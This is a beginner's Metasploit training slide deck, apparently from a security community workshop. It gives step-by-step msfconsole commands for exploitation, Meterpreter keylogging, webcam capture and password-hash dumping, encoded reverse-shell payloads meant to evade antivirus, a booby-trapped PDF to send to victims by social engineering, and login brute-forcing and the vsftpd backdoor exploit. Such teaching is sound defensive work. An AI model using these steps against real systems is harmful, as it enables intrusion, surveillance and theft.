Metasploit Humla for Beginner

Please don’t expect ….
 How to evade antiviruses (antivirus evasion)
 How to do pivoting
 How to do port forwarding
 How to write your own metasploit module

Disclaimer
All the information or technique you will be
learning here is for educational purpose and
should not be used for malicious activities.

Agenda
 Introduction
 Basics of Metasploit
 Information gathering
 Exploitation
 ( 11:30-11:45 - Break 1/ Tea )*
 Meterpreter Basics
 Post exploitation using meterpreter
 Meterpeter scripts
 ( 1:00 – 2:00 - Break 2 / Lunch )*

Agenda
 Metasploit utilities
 Client-side exploitation
 ( 4:00-4:20 – Break 3 / Tea )*
 Auxiliary module
 And we are done 
 * Lunch and Tea are self sponsored.

Introduction
 It’s not a Tool, it’s a Framework !!!

History
 Developed by H.D Moore in 2003
 Originally written in Perl & later on rewritten in Ruby
 Acquired by Rapid7 in 2009
 Remains open source & free for use

Libraries
 Rex :
 The basic library for most tasks
 Handles sockets and protocols
 MSF CORE :
 Defines the Metasploit Framework
 Provides the ‘basic’ API
 MSF BASE :
 Provides the ‘friendly’ API
 Provides simplified APIs for use in the Framework

Modules
 Exploit
 Modules used for actually attacking the systems and
grabbing the access.
 Payload
 Piece of code which executes on remote system after
successful exploitation.
 Auxiliary
 Exploit without payload. Used for scanning, fuzzing &
doing various tasks.

Modules
 Encoders
 Program which encodes our payload to avoid antivirus
detection
 Nops
 Used to keep payload size consistent

Payloads
 Single
 Completely standalone
 eg: Add user
 Stagers
 Creates the network connection
 Stages
 Downloaded by the stagers
 eg: Meterpreter

Payloads
 Payload is staged if represented by ‘/’ in the payload
name
 Windows/shell_bind_tcp
 single payload with no stage
 Windows/shell/bind_tcp
 a stager (bind_tcp)
 a stage (shell)

Interfaces
 MSFCONSOLE
 MSFCLI
 MSFWEB
 Armitage

MSFCONSOLE
 Most powerful interface among all interfaces

Armitage
 Graphical version of Metasploit
 Developed by Raphel Mudge
 Supports both GUI & CLI

Basics Commands
 #msfconsole
 #msfupdate
 MSFConsole commands are classified in two types :
 Core Commands
 Database commands

Core Commands
 help or ?
 banner
 version
 show
 search
 msf>search <module name>
 info
 msf>info <module name>
 use
 msf>use <exploit/auxiliary name>

Core Commands
 back
 show options
 set
 msf>set <option> <value>
 setg
 unset
 unsetg

Core Commands
 show payloads
 set payload
 msf>set payload <payload name>
 check
 exploit
 run

Database Commands
 Default database : PostgreSQL
 Database.yml
 /opt/metasploit/apps/pro/ui/config/database.yml
 # cat database.yml
 db_status
 db_disconnect

Database Commands
 Db_connect
#db_connect
user:pass@localhost:port/dbname
OR
#db_connect –y <path of database.yml>

Database Commands
 db_nmap
 # db_nmap –sV –A –O <ip range>
 hosts
 # hosts –h
 services
 # services

Database Commands
 vulns
 db_export
 db_import
 db_rebuild_cache
 creds
 db_load
 db_unload

Information Gathering
 Auxiliary modules are the best !!!
 Will cover in detail later
 Using auxiliary/scanner/portscan/tcp
 # msf>auxiliary/scanner/portscan/tcp
Or
 nmap <switches> <ip address>

Exploitation
 To list available exploits :
 msf> search <exploit name>
 To select an exploit :
 msf> use <exploit name>
 To get information about selected exploits
 msf/exploitname> info
 To check the options and set arguments
 msf/exploitname> show options
 To set the target host
 msf/exploitname> set rhost <victim ip>

Exploitation
 To list supported payload with selected exploit
 msf/exploitname> show payloads
 To set the payload
 msf/exploitname> set payload <payload name>
 To set attacker machine
 msf/exploitname> Set lhost <own ip>
 To check if target is vuln to selected exploit
 msf/exploitname> Check
 To launch the attack
 msf/exploitname> exploit

Meterpreter
 Post exploitation module
 Runs in the exploited process context
 Runs in memory and doesn’t create any file on disk
 Encrypted communication
 Stable and extensible

Meterpreter
 Classification
 Core commands
 File system commands
 System commands
 User interface commands
 Priv commands
 Networking commands

Meterpreter : Core commands
 background
 sessions
 ps
 migrate
 bgrun/bglist/bgkill
 resource

Meterpreter : Core commands
 Run
 #msf>run <script name>
 Channel
 #msf>execute –f <program> -c
 Use
 #msf>use <extension name>

Meterpreter:File System
Commands
 pwd
 cd
 getlwd/getlcd
 ls
 cat/edit
 download/upload

Meterpreter:File System
Commands
 search
 #msf>search –d <directory> -f *.<fileformat> -r
 mkdir/rmdir
 rm/rmdir
 del

Meterpreter : System Commands
 sysinfo
 getpid/getuid
 shell
 reboot
 shutdown
 ps

Meterpreter : UI Commands
 User interface & Webcam commands
 idletime
 keyscan_start
 keyscan_dump
 keyscan_stop
 webcam_list
 webcam_snap

Meterpreter : Privs Commands
 getsystem
 hashdump
 timestomp
 timestomp –h
 timestomp <filepath> -v { to display all atributes}
 timestomp <filepath> -c <MM/DD/YYYY H:M:S>

Meterpreter: Networking
commands
 arp
 ipconfig/ifconfig
 netstat
 route
 portfwd

Meterpreter scripts
 Path :
 /usr/share/metasploit-framework/scripts/meterpreter
 Or
 meterpreter>run <tab multiple times>

Meterpreter scripts run <script name>
 run checkvm
 run credcollect
 run keylogrecorder
 run winenum
 run getcountermeasure
 run getgui

Meterpreter scripts
 run scraper
 run hostedit
 run gettelnet
 run arpscanner
 run vnc
 run filecollector
 #msf>run filecollector –d <dnm> -f *.txt -r

Metasploit Utilities
 Three main utilities to generate shellcode and to evade
antiviruses
 Msfpayload
 Msfencode
 Msfvenom

Msfpayload
 To generate payload in different formats as exe ,C , Ruby and
javascript
 Using msfpayload :
 root@kali:~# msfpayload -h
 To check options
 root@kali:~# msfpayload <payload name> O
 root@:~# msfpayload
windows/meterpreter/reverse_tcp O
 Setting the options
 root@kali:~# msfpayload
windows/meterpreter/reverse_tcp LHOST=<attacker
ip> LPORT=4422 X > exploit.exe
 Sending this exploit.exe to victim

Using Mutli-handler Exploit /
setting listener
 Setup listner:
 msf > search multi/handler
 msf > use exploit/multi/handler
 msf exploit(handler) > set payload
windows/meterpreter/reverse_tcp
 msf exploit(handler) > show options
 msf exploit(handler) > set lhost
<attacker ip>
 msf exploit(handler) > set lport 4422
 msf exploit(handler) > exploit

MSFEncode
 To bypass antiviruses
 Alters code , by converting into binary EXE. While
interacting back , it will decode and execute the same
into memory.
 Payload is encoded by different encoders

MSFEncode
 root@kali:~# msfencode -h
 Usage: /opt/metasploit/apps/pro/msf3/msfencode
<options>
 OPTIONS:
 -e <opt> The encoder to use
 -c <opt> The number of times to encode the data
 -t <opt> The output format:
bash,c,java,perl,pl,py,python,raw,sh,vbscript,asp,aspx,exe
 -x <opt> Specify an alternate executable template
 -k Keep template working; run payload in new thread
(use with -x)

MSFEncode
 list encoders:
 root@kali:~# msfencode –l
 msfencode with msfpayload:
 root@kali:~# msfpayload
LHOST=<attacker ip> LPORT=4422 R |
msfencode -e x86/shikata_ga_nai -c 8 -t
exe > /var/www/exploitbypass.exe

Client-side Attacks
 Difficult to find server-side vulnerabilities
 Most enterprises have incoming connections locked
down with firewalls
 Client-side attacks are the most common ones:
- Browser based attacks
- Social engineering attacks using malicious link or file

Client-side Attacks:Browser based
 Using IE 6 based Aurora exploit
 msf > search aurora
 msf > use exploit/windows/browser/ms10_002_aurora
 msf exploit(ms10_002_aurora) > show options
 msf exploit(ms10_002_aurora) > set srvhost
<attacker ip>
 msf exploit(ms10_002_aurora) > set srvport 80
 msf exploit(ms10_002_aurora) > set uripath /test

Client-side Attacks:Browser based
 msf exploit(ms10_002_aurora) > set payload
 msf exploit(ms10_002_aurora) > set lhost <own
ip>
 msf exploit(ms10_002_aurora) > set lport 443
 msf exploit(ms10_002_aurora) > exploit

Client-side Attacks:File Format
 Nowadays file format based exploits are exploiting
targets in wild.
 File formats such as pdf , doc or rtf are sent as
attachment to the victim and expected to open it.
 For eg:
 Adobe util.printf() Bufferoverflow vulnerability
 MS14-017 Microsoft Word RTF Object Confusion

 Exploiting Adobe util.printf() Bufferoverflow vulnerability
 msf > search adobe_utilprintf
 msf > use
exploit/windows/fileformat/adobe_utilprintf
 msf exploit(adobe_utilprintf) > set filename
resume.pdf
 msf exploit(adobe_utilprintf) > show options
 msf exploit(adobe_utilprintf) > set payload

 msf exploit(adobe_utilprintf) > setg
lhost <attacker ip>
 msf exploit(adobe_utilprintf) > set
lport 443
 msf exploit(adobe_utilprintf) > exploit
 Setup listener(i.e multi/handler)
 Send this resume.pdf using some social engineering
techniques.

 Setting up listener on local machine :
 msf > search multi/handler
 msf > use exploit/multi/handler
 msf exploit(handler) > show options
 msf exploit(handler) > set lhost <own
ip>
 msf exploit(handler) > set lport 443
 msf exploit(handler) > exploit

Auxiliary Modules
 Pre-exploitation module
 Port scanners, fuzzers, banner grabbers, brute-force
module etc.
 Path:
 /usr/share/metasploit-framework/modules/auxiliary
or
 Using show auxiliary on msfconsole :
 msf > show auxiliary
 Used without payloads

Auxiliary Modules
 Used same as exploits but without payload
 msf> use <auxiliary name>
 ‘run’ command instead of ‘exploit’ command
 RHOSTS instead of RHOST

Auxiliary Modules : Port scanners
 Portscanner auxiliary module used for port scanning
 Using portscanners :
 msf > search portscan
 msf > use auxiliary/scanner/portscan/tcp
 msf auxiliary(tcp) > show options
 msf auxiliary(tcp) > set rhosts <target>
 msf auxiliary(tcp) > set ports 1-100
 msf auxiliary(tcp) > set threads 10
 msf auxiliary(tcp) > run

Auxiliary Modules :
SMB version fingerprinting
 msf > search smb_version
 msf > use auxiliary/scanner/smb/smb_version
 msf auxiliary(smb_version) > show options
 msf auxiliary(smb_version) > set rhosts
192.168.37.0/24
 msf auxiliary(smb_version) > set threads 10
 msf auxiliary(smb_version) > run

Auxiliary Modules : Version
Scanner
 Banner grabbing of MySQL server :
 msf > search MySQL
 msf > use auxiliary/scanner/mysql/mysql_version
 msf auxiliary(mysql_version) > show options
 msf auxiliary(mysql_version) >set rhosts
<target>
 msf auxiliary(mysql_version) > run

Auxiliary Modules: Login Scanners
 Testing login attack on MySQL :
 msf > use auxiliary/scanner/mysql/mysql_login
 msf auxiliary(mysql_login) > show options
 msf auxiliary(mysql_login) > setg rhosts
<target>
 msf auxiliary(mysql_login) > set user_file
userfile.txt

Auxiliary Modules: Login Scanners
 msf auxiliary(mysql_login) > set pass_file
passfile.txt
 msf auxiliary(mysql_login) > set stop_on_success
true
 msf auxiliary(mysql_login) > run

Auxiliary Modules : Telnet
 msf > search telnet_login
 msf > use auxiliary/scanner/telnet/telnet_login
 msf auxiliary(telnet_login) > show options
 msf auxiliary(telnet_login)) > setg rhosts
<target ip>
 msf auxiliary(telnet_login) > set user_file
userfile.txt

Auxiliary Modules : Telnet
 msf auxiliary(telnet_login) > set
pass_file passfile.txt
 msf auxiliary(telnet_login) > set
stop_on_success true
 msf auxiliary(telnet_login) > run
 Verify:
 root@kali:~# telnet <target ip>

Auxiliary Modules : Attacking FTP
 msf > search ftp_version
 msf > use auxiliary/scanner/ftp/ftp_version
 msf auxiliary(ftp_version) > show options
 msf auxiliary(ftp_version) > set rhosts <target>
 msf auxiliary(ftp_version) > run
 Result on metasploitable2: FTP Banner: '220 (vsFTPd
2.3.4)

 Now checking for ftp login
 msf > search ftp_login
 msf > use auxiliary/scanner/ftp/ftp_login
 msf auxiliary(ftp_login) > set rhosts <target
ip>
 msf auxiliary(ftp_login) > set user_file
userfile.txt
 msf auxiliary(ftp_login) > set pass_file
passfile.txt
 msf auxiliary(ftp_login) > set stop_on_success
true
 msf auxiliary(ftp_login) > run
 Successful FTP login for 'msfadmin':'msfadmin'

 From FTP version scan we know its version is vsFTPd
2.3.4
 Now looking for exploit of this FTP version
 msf > search vsFTPd 2.3.4
 msf > use exploit/unix/ftp/vsftpd_234_backdoor
 msf exploit(vsftpd_234_backdoor) > show options
 msf exploit(vsftpd_234_backdoor) > set rhost
<target ip>
 msf exploit(vsftpd_234_backdoor) > show payloads
 msf exploit(vsftpd_234_backdoor) > set payload
cmd/unix/interact
 msf exploit(vsftpd_234_backdoor) > exploit

References
 Metasploit Guide,
http://packetstormsecurity.com/files/119280,
 Securitytube Metasploit Framework Expert (SMFE
course by Vivek Ramachandran)
 Metasploit Unleashed ,
 http://www.offensive-security.com/metasploit-
unleashed/Main_Page

Metasploit Humla for Beginner

Recommended

More Related Content

What's hot (20)

Similar to Metasploit Humla for Beginner (20)

More from n|u - The Open Security Community (20)

Recently uploaded (20)

Metasploit Humla for Beginner